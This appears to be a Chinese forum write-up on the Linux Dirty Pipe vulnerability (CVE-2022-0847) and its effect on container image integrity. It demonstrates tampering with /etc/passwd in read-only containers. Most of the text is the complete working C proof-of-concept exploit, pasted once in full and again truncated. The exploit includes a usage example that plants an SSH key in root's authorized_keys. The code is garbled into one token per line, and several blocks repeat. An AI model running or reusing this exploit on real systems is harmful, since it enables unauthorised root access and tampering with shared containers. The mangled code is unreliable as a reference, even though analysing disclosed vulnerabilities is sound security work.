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[原创]CVE-2022-0847:脏管道漏洞对容器的影响
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发表于: 2022-6-30 10:58 12208
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2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。
漏洞简要原理是,调用splice()
函数可以通过"零拷贝"的形式将文件发送到pipe
,代码层面的零拷贝是直接将文件缓存页(page cache)作为pipe
的buf
页使用。但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续pipe
通道中被当成普通pipe
缓存页而被"续写"进而被篡改。然而,在这种情况下,内核并不会将这个缓存页判定为"脏页",短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个"短时间内对任意可读文件任意写"的操作。网上已经有对该漏洞的详细分析,本文不在详细介绍其原理,只做一些简单介绍,具体的关于漏洞的发现细节以及原理可参考以下几篇文章:
漏洞披露:https://dirtypipe.cm4all.com/
CVE-2022-0847 Dirty Pipe linux内核提权分析:https://github.com/chenaotian/CVE-2022-0847
管道
该漏洞别名为脏管道漏洞,管道(pipe)是Linux内核提供的一个进程间通信的方式。 通过pipe/pipe2
函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接受数据,类似管道的两段 。 管道实现的源代码在fs/pipe.c中,在pipe.c中有很多函数,其中有两个函数比较重要,管道读函数pipe_read()和管道写函数pipe_wrtie() ,这里简要介绍以下pipe_write()。
Linux-5.13\fs\pipe.c : 400 : pipe_write()
在使用pipe_write()函数向管道中写入时,会判断当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE
flag
标记,如果不存在则不允许在当前页面续写, buf->flag
默认初始化为PIPE_BUF_FLAG_CAN_MERGE
,因为默认状态是允许页可以续写的 。
Splice()
CPU管理的最小内存单位是一个页面(Page), 一个页面通常为4kB大小, linux内存管理的最底层的一切都是关于页面的, 文件IO也是如此, 如果程序从文件中读取数据, 内核将先把它从磁盘读取到专属于内核的页面缓存(Page Cache)
中, 后续再把它从内核区域复制到用户程序的内存空间中;
如果每一次都把文件数据从内核空间拷贝到用户空间, 将会拖慢系统的运行速度, 也会额外消耗很多内存空间, 所以出现了splice()
系统调用, 它的任务是从文件中获取数据并写入管道中, 期间一个特殊的实现方式便是: 目标文件的页面缓存数据不会直接复制到Pipe的环形缓冲区内, 而是以索引的方式(即 内存页框地址、偏移量、长度 所表示的一块内存区域)复制到了pipe_buffer的结构体中, 如此就避免了从内核空间向用户空间的数据拷贝过程, 所以被称为”零拷贝”。
漏洞披露中给出了利用的poc:
从POC的角度可以看到漏洞利用的过程:
将该exp保存到本地编译,运行,可以成功触发。该漏洞 由linux 5.8 补丁 f6dd975583bd 引入~ 5.16.11、5.15.25、5.10.102 修复 ,处于中间阶段的内核版本可以触发该漏洞。触发必须要求文件有可读权限,且该漏洞写入时不能改变其文件大小。下图可以看到,在没有可写权限的情况下修改了testfile中的内容。 只要挑选合适的目标文件, 利用漏洞Patch掉关键字段数据, 即可完成从普通用户到root用户的权限提升。
前段时间的一个帖子记录了对Docker镜像进行逆向的过程, 容器镜像基本上是由一组相互重叠的层组成的。当容器启动时,运行时引擎(Docker、containerD、cri-O 等)将这些层合并在一起,并将生成的联合文件系统传递给进程。这些层始终是只读的,任何在容器中的操作都是都是在读写层中完成的,该层是使用写时复制 (COW)模式专门为每个容器实例创建的。这个读写层是暂时的层,当把容器停止运行时,该层会容器系统中删除。 通过以只读模式( --read-only )启动容器可以省略读写层,从而有效地保护容器文件系统的完整性不会被攻击者破坏。
但是由于容器共享linux内核的缘故,容器并不能屏蔽内核漏洞,利用脏管道漏洞,可以几乎对任何文件系统进行修改,包括容器镜像。下面实验演示了如何利用脏管道漏洞对容器镜像的完整性进行破环。利用上述的exp,使用下列Dockerfile
构建一个镜像,该镜像创建了一个非特权用户foo,并将exp复制到镜像中。
Build 成功后的镜像
当使用只读模式启动容器时,是不能对容器的文件系统进行任何修改的,如下图。
接下来运行exp 对容器中的/etc/passwd
尝试进行修改,默认情况下,该文件是只读的,且只有root用户有权限进行更改。
然后退出该容器,再根据该镜像重新启动一个容器,可以发现在重新启动的容器中的passwd
文件也已经被更改,证明该镜像已经被持续的更改。但该更改并不是永久性的,短时间内的新建容器会出现这种情况。
在多个同一基础镜像容器同时启动的情况下,由于共享基础镜像,在某一容器中该漏洞的触发会波及到其他容器。下图演示了在其中一个只读容器中更改文件内容后,其他容器的文件系统也跟着发生了变化。
这就是容器的隔离性远不如虚拟机的地方,容器被称作为一种轻量级的操作系统虚拟化,多个容器与宿主据共享一个内核,这就导致了首先容器无法隔离宿主机出现的内核漏洞,一旦内核出了问题,很容器出现容器逃逸的情况;其次同一宿主机的容器之间的隔离性也不强,容器与容器之间很容器出现隐蔽通道、信息泄露的问题。
漏洞披露:
https://dirtypipe.cm4all.com/
breeze漏洞分析
https://github.com/chenaotian/CVE-2022-0847
脏管道漏洞与容器
https://snyk.io/blog/dirty-pipe-vulnerability-cve-2022-0847-containerized-applications/
...
...
if
(chars && !was_empty) {
unsigned
int
mask
=
pipe
-
>ring_size
-
1
;
struct pipe_buffer
*
buf
=
&pipe
-
>bufs[(head
-
1
) & mask];
int
offset
=
buf
-
>offset
+
buf
-
>
len
;
if
((buf
-
>flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset
+
chars <
=
PAGE_SIZE) {
/
*
关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*
如果写入长度不会跨页,则接着写,否则直接另起一页
*
/
ret
=
pipe_buf_confirm(pipe, buf);
···
ret
=
copy_page_from_iter(buf
-
>page, offset, chars,
from
);
···
}
buf
-
>
len
+
=
ret;
···
}
}
...
...
...
if
(chars && !was_empty) {
unsigned
int
mask
=
pipe
-
>ring_size
-
1
;
struct pipe_buffer
*
buf
=
&pipe
-
>bufs[(head
-
1
) & mask];
int
offset
=
buf
-
>offset
+
buf
-
>
len
;
if
((buf
-
>flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset
+
chars <
=
PAGE_SIZE) {
/
*
关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*
如果写入长度不会跨页,则接着写,否则直接另起一页
*
/
ret
=
pipe_buf_confirm(pipe, buf);
···
ret
=
copy_page_from_iter(buf
-
>page, offset, chars,
from
);
···
}
buf
-
>
len
+
=
ret;
···
}
}
...
/
*
SPDX
-
License
-
Identifier: GPL
-
2.0
*
/
/
*
*
Copyright
2022
CM4all GmbH
/
IONOS SE
*
*
author:
Max
Kellermann <
max
.kellermann@ionos.com>
*
*
Proof
-
of
-
concept exploit
for
the Dirty Pipe
*
vulnerability (CVE
-
2022
-
0847
) caused by an uninitialized
*
"pipe_buffer.flags"
variable. It demonstrates how to overwrite
any
*
file
contents
in
the page cache, even
if
the
file
is
not
permitted
*
to be written, immutable
or
on a read
-
only mount.
*
*
This exploit requires Linux
5.8
or
later; the code path was made
*
reachable by commit f6dd975583bd ("pipe: merge
*
anon_pipe_buf
*
_ops"). The commit did
not
introduce the bug, it was
*
there before, it just provided an easy way to exploit it.
*
*
There are two major limitations of this exploit: the offset cannot
*
be on a page boundary (it needs to write one byte before the offset
*
to add a reference to this page to the pipe),
and
the write cannot
*
cross a page boundary.
*
*
Example: .
/
write_anything
/
root
/
.ssh
/
authorized_keys
1
$
'\nssh-ed25519 AAA......\n'
*
*
Further explanation: https:
/
/
dirtypipe.cm4all.com
/
*
/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/
*
*
*
Create a pipe where
all
"bufs"
on the pipe_inode_info ring have the
*
PIPE_BUF_FLAG_CAN_MERGE flag
set
.
*
/
static void prepare_pipe(
int
p[
2
])
{
if
(pipe(p)) abort();
const unsigned pipe_size
=
fcntl(p[
1
], F_GETPIPE_SZ);
static char
buffer
[
4096
];
/
*
fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag
*
/
for
(unsigned r
=
pipe_size; r >
0
;) {
unsigned n
=
r > sizeof(
buffer
) ? sizeof(
buffer
) : r;
write(p[
1
],
buffer
, n);
r
-
=
n;
}
/
*
drain the pipe, freeing
all
pipe_buffer instances (but
leaving the flags initialized)
*
/
for
(unsigned r
=
pipe_size; r >
0
;) {
unsigned n
=
r > sizeof(
buffer
) ? sizeof(
buffer
) : r;
read(p[
0
],
buffer
, n);
r
-
=
n;
}
/
*
the pipe
is
now empty,
and
if
somebody adds a new
pipe_buffer without initializing its
"flags"
, the
buffer
will be mergeable
*
/
}
int
main(
int
argc, char
*
*
argv)
{
if
(argc !
=
4
) {
fprintf(stderr,
"Usage: %s TARGETFILE OFFSET DATA\n"
, argv[
0
]);
return
EXIT_FAILURE;
}
/
*
dumb command
-
line argument parser
*
/
const char
*
const path
=
argv[
1
];
loff_t offset
=
strtoul(argv[
2
], NULL,
0
);
const char
*
const data
=
argv[
3
];
const size_t data_size
=
strlen(data);
if
(offset
%
PAGE_SIZE
=
=
0
) {
fprintf(stderr,
"Sorry, cannot start writing at a page boundary\n"
);
return
EXIT_FAILURE;
}
const loff_t next_page
=
(offset | (PAGE_SIZE
-
1
))
+
1
;
const loff_t end_offset
=
offset
+
(loff_t)data_size;
if
(end_offset > next_page) {
fprintf(stderr,
"Sorry, cannot write across a page boundary\n"
);
return
EXIT_FAILURE;
}
/
*
open
the
input
file
and
validate the specified offset
*
/
const
int
fd
=
open
(path, O_RDONLY);
/
/
yes, read
-
only! :
-
)
if
(fd <
0
) {
perror(
"open failed"
);
return
EXIT_FAILURE;
}
struct stat st;
if
(fstat(fd, &st)) {
perror(
"stat failed"
);
return
EXIT_FAILURE;
}
if
(offset > st.st_size) {
fprintf(stderr,
"Offset is not inside the file\n"
);
return
EXIT_FAILURE;
}
if
(end_offset > st.st_size) {
fprintf(stderr,
"Sorry, cannot enlarge the file\n"
);
return
EXIT_FAILURE;
}
/
*
create the pipe with
all
flags initialized with
PIPE_BUF_FLAG_CAN_MERGE
*
/
int
p[
2
];
prepare_pipe(p);
/
*
splice one byte
from
before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does
not
initialize the
"flags"
, PIPE_BUF_FLAG_CAN_MERGE
is
still
set
*
/
-
-
offset;
ssize_t nbytes
=
splice(fd, &offset, p[
1
], NULL,
1
,
0
);
if
(nbytes <
0
) {
perror(
"splice failed"
);
return
EXIT_FAILURE;
}
if
(nbytes
=
=
0
) {
fprintf(stderr,
"short splice\n"
);
return
EXIT_FAILURE;
}
/
*
the following write will
not
create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag
*
/
nbytes
=
write(p[
1
], data, data_size);
if
(nbytes <
0
) {
perror(
"write failed"
);
return
EXIT_FAILURE;
}
if
((size_t)nbytes < data_size) {
fprintf(stderr,
"short write\n"
);
return
EXIT_FAILURE;
}
printf(
"It worked!\n"
);
return
EXIT_SUCCESS;
}
/
*
SPDX
-
License
-
Identifier: GPL
-
2.0
*
/
/
*
*
Copyright
2022
CM4all GmbH
/
IONOS SE
*
*
author:
Max
Kellermann <
max
.kellermann@ionos.com>
*
*
Proof
-
of
-
concept exploit
for
the Dirty Pipe
*
vulnerability (CVE
-
2022
-
0847
) caused by an uninitialized
*
"pipe_buffer.flags"
variable. It demonstrates how to overwrite
any
*
file
contents
in
the page cache, even
if
the
file
is
not
permitted
*
to be written, immutable
or
on a read
-
only mount.
*
*
This exploit requires Linux
5.8
or
later; the code path was made
*
reachable by commit f6dd975583bd ("pipe: merge
*
anon_pipe_buf
*
_ops"). The commit did
not
introduce the bug, it was
*
there before, it just provided an easy way to exploit it.
*
*
There are two major limitations of this exploit: the offset cannot
*
be on a page boundary (it needs to write one byte before the offset
*
to add a reference to this page to the pipe),
and
the write cannot
*
cross a page boundary.
*
*
Example: .
/
write_anything
/
root
/
.ssh
/
authorized_keys
1
$
'\nssh-ed25519 AAA......\n'
*
*
Further explanation: https:
/
/
dirtypipe.cm4all.com
/
*
/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/
*
*
*
Create a pipe where
all
"bufs"
on the pipe_inode_info ring have the
*
PIPE_BUF_FLAG_CAN_MERGE flag
set
.
*
/
static void prepare_pipe(
int
p[
2
])
{
if
(pipe(p)) abort();
const unsigned pipe_size
=
fcntl(p[
1
], F_GETPIPE_SZ);
static char
buffer
[
4096
];
/
*
fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag
*
/
for
(unsigned r
=
pipe_size; r >
0
;) {
unsigned n
=
r > sizeof(
buffer
) ? sizeof(
buffer
) : r;
write(p[
1
],
buffer
, n);
r
-
=
n;
}
/
*
drain the pipe, freeing
all
pipe_buffer instances (but
leaving the flags initialized)
*
/
for
(unsigned r
=
pipe_size; r >
0
;) {
unsigned n
=
r > sizeof(
buffer
) ? sizeof(
buffer
) : r;
read(p[
0
],
buffer
, n);
r
-
=
n;
}
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